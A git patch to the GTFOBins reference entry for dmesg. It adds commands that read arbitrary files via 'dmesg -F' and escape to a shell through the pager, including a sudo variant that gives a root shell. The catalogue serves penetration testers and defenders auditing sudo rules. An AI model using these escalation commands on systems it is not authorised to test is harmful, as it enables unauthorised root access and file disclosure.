From 32887085bffa3e8dff95004efdbfc430bda20ca9 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Mar 2020 16:27:04 +1100 Subject: [PATCH] Update dmesg.md --- _gtfobins/dmesg.md | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/_gtfobins/dmesg.md b/_gtfobins/dmesg.md index bb5d86f..4929632 100644 --- a/_gtfobins/dmesg.md +++ b/_gtfobins/dmesg.md @@ -1,9 +1,17 @@ --- -description: | - This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: - sudo: + file-read: - code: | + LFILE=file_to_read + dmesg -F "$LFILE" + shell: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + dmesg -H + !/bin/sh + sudo: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | sudo dmesg -H !/bin/sh ---